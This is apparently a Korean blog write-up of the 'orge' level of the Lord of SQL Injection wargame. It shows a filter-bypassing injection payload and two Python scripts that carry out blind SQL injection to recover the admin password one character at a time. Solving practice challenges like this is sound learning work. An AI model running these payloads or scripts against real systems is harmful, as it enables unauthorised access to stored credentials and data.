일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- element 조회
- document
- blind sql injection
- github
- 메소드
- burp suite
- 포인터
- suninatas 풀이
- 자바스크립트
- 김성엽 대표님
- 사칙연산
- xss game
- window
- 객체
- python
- 파이썬
- 백준 알고리즘
- 배열
- lord of sql injection
- sql injection
- property
- htmlspecialchars
- object
- 조건문
- xss game 풀이
- jQuery
- 함수
- 백준 파이썬
- Pwndbg
- IF문
Archives
- Today
- Total
power-girl0-0
[ Los ] orge 본문
728x90
주소 : https://los.rubiya.kr/
[ 문제 ]
[ 풀이 ]
이번 문제에서는 pw를 맞춰야 하는 문제로 예상된다.
pw를 입력하지 않고 id에 admin만 입력한 결과, "Hello admin"문구를 확인할 수 있다.
? pw=' || id='admin'%23 |
해당 문제에서도 or을 차단하고 있기 때문에 || 기호를 사용해야한다.
위의 True결과를 활용하여, Blind Sql Injection으로 pw를 유추할 수 있을 것으로 예상된다.
먼저, pw의 비밀번호 길이를 유추해주는 파이썬 코드를 작성해보자.
import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def length_pwd():
pwd_len=0
while 1 :
pwd_len+=1
print(pwd_len)
value="' || id='admin' && length(pw)={}#".format(pwd_len)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", pwd_len)
break
return pwd_len
이를 통해 비밀번호가 8자리인 것을 알 수 있다.
이제 길이를 구했으니, 비밀번호를 알아보자.
코드는 아래와 같다.
코드 설명은 앞 orc 문제와 비슷하므로, 생략하였다.
import requests
url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def length_pwd():
pwd_len=0
while 1 :
pwd_len+=1
print(pwd_len)
value="' || id='admin' && length(pw)={}#".format(pwd_len)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", pwd_len)
break
return pwd_len
def find_pwd(pwd_len):
pwd=''
for i in range(1,pwd_len+1):
print(i,"번째 찾는 중")
for j in range(48,122):
value="' || id='admin' && ascii(substr(pw,{},1))={} #".format(i,j)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
pwd+=chr(j)
print("password : ",pwd)
break
find_pwd(length_pwd())
pw가 7b751aec라는 것을 알 수 있다.
이제 값을 입력하여, 문제를 clear해보자.
데이터베이스의 pw만 맞으면 상관없기 때문에 pw=7b751aec만 넘겨주면 된다.
문제 CLEAR!!
728x90
'War game > Lord of SQL Injection' 카테고리의 다른 글
[ Los ] vampire (0) | 2021.03.21 |
---|---|
[ Los ] troll (0) | 2021.03.21 |
[ Los ] darkelf (0) | 2021.03.20 |
[ Los ] wolfman (0) | 2021.03.20 |
[ Los ] orc (0) | 2021.03.19 |
Comments